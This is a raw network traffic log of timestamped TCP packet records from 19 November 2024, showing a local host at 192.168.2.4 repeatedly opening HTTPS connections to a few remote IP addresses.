Nov 19, 2024 00:02:20.826348066 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.826360941 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.831952095 CET	80	49724	199.232.214.172	192.168.2.4
Nov 19, 2024 00:02:20.832221031 CET	49724	80	192.168.2.4	199.232.214.172
Nov 19, 2024 00:02:20.884985924 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:20.885730028 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:20.885749102 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:20.886415005 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:20.887291908 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:20.887403011 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:20.906213045 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.906352997 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.906548977 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.907083035 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.907083035 CET	49829	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.907108068 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.907120943 CET	443	49829	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.909461975 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.909547091 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.909642935 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.909775019 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:20.909799099 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:20.933825016 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:21.058295965 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.059627056 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.059653044 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.059952021 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.059962034 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.083092928 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.083492041 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.083584070 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.084044933 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.084059000 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.187299013 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.187472105 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.188282013 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.188282013 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.191452980 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.191502094 CET	49831	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.191535950 CET	443	49831	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.191536903 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.191648960 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.191783905 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.191816092 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.215106010 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.215260983 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.215523958 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.216082096 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.216082096 CET	49832	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.216099024 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.216109991 CET	443	49832	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.219289064 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.219391108 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.219567060 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.219567060 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.219656944 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.281557083 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.282320976 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.282378912 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.282860041 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.282874107 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.419236898 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.419450045 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.419929028 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.420759916 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.420759916 CET	49833	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.420794964 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.420819044 CET	443	49833	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.422779083 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.422826052 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.422915936 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.423074007 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.423099995 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.565234900 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.566148996 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.566185951 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.566791058 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.566807032 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.651226044 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.651856899 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.651901960 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.652323008 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.652335882 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.694365978 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.694489956 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.694642067 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.694777966 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.694803953 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.694848061 CET	49834	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.694861889 CET	443	49834	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.697768927 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.697822094 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.697917938 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.698031902 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.698049068 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.782444954 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.782577038 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.782883883 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.782947063 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.782947063 CET	49835	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.782979012 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.783004045 CET	443	49835	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.785617113 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.785657883 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.785749912 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.785893917 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.785939932 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.955673933 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.956378937 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.956418991 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.956967115 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.956979036 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.960228920 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.960566998 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.960602045 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:21.961035013 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:21.961047888 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.088581085 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.088663101 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.088839054 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.089143038 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.089143038 CET	49837	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.089210033 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.089251041 CET	443	49837	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.092679977 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.092734098 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.092828035 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.093135118 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.093173981 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.097610950 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.097857952 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.097948074 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.098004103 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.098004103 CET	49836	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.098031998 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.098053932 CET	443	49836	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.100681067 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.100723982 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.100805998 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.101016998 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.101046085 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.184060097 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.184497118 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.184505939 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.185122013 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.185127020 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.314670086 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.315021038 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.315110922 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.315205097 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.315247059 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.315278053 CET	49838	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.315290928 CET	443	49838	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.318372011 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.318416119 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.318500996 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.318680048 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.318695068 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.464649916 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.465440035 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.465528965 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.465732098 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.465747118 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.520342112 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.520765066 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.520826101 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.521281958 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.521296024 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.610640049 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.610779047 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.610986948 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.610986948 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.611588955 CET	49839	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.611630917 CET	443	49839	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.613693953 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.613742113 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.613820076 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.613929033 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.613949060 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.651029110 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.651169062 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.651272058 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.651388884 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.651417971 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.651477098 CET	49840	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.651494026 CET	443	49840	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.653669119 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.653697014 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.653779030 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.653907061 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.653919935 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.845530033 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.846214056 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.846251011 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.846695900 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.846712112 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.854262114 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.854541063 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.854573965 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.854980946 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.854996920 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.980377913 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.980529070 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.980711937 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.980983973 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.980983973 CET	49841	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.981019974 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.981089115 CET	443	49841	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.983916044 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.984003067 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.984203100 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.984266996 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.984286070 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.987543106 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.987732887 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.987798929 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.987848043 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.987848043 CET	49842	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.987875938 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.987901926 CET	443	49842	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.990128994 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.990180969 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:22.990261078 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.990391970 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:22.990420103 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.063148022 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.063669920 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.063733101 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.064644098 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.064659119 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.191447973 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.191603899 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.191673040 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.191776991 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.191817999 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.191843033 CET	49843	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.191859007 CET	443	49843	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.194773912 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.194859028 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.194948912 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.195174932 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.195213079 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.373648882 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.374285936 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.374346018 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.375003099 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.375016928 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.409243107 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.409902096 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.409977913 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.410355091 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.410367966 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.508908033 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.509047031 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.509118080 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.509221077 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.509222031 CET	49844	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.509279013 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.509305954 CET	443	49844	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.512279034 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.512375116 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.512453079 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.512605906 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.512640953 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.543709040 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.543847084 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.543905020 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.543962002 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.543993950 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.544018984 CET	49845	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.544033051 CET	443	49845	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.546437979 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.546524048 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.546597004 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.546705008 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.546746969 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.786969900 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.787285089 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.787559032 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.787630081 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.787813902 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.787854910 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.788017988 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.788032055 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.788707972 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.788722992 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.923795938 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.923949003 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.924040079 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.924242973 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.924288988 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.924324036 CET	49846	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.924340010 CET	443	49846	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.924483061 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.925549030 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.925632000 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.925694942 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.925695896 CET	49847	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.925731897 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.925755024 CET	443	49847	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.927009106 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.927062035 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.927140951 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.927253962 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.927273035 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.928128958 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.928163052 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.928239107 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.928318977 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.928337097 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.970252037 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.970729113 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.970788956 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:23.971327066 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:23.971340895 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.115772963 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.115932941 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.116317034 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.116395950 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.116395950 CET	49848	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.116436005 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.116467953 CET	443	49848	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.119844913 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.119901896 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.120052099 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.120213032 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.120233059 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.277012110 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.277498960 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.277575016 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.278088093 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.278103113 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.316489935 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.317241907 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.317297935 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.317889929 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.317903042 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.408813000 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.408967018 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.409070969 CET	49849	443	192.168.2.4	13.107.246.43
